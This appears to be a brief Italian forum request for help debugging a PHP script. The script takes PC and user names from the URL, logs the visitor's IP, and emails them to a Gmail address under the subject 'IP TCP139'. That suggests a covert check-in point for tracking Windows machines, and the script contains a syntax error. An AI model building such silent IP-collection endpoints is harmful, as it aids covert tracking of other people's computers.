Per favore, non trovo l'errore!!
Codice PHP:
<?php
$pcname = $_GET['pcname'];
$user = $_GET['user'];
$ip = $_SERVER['REMOTE_ADDR'];
$mittente = "ipsave.altervista.org";
$destinatario = "ipsave@gmail.com";
$subject = "IP TCP139"
$messagebody = "PC: $pcname User: $user IP: $ip"."n";
mail ("$destinatario" , "$subject" , "$messagebody" , "From: $mittente");
?>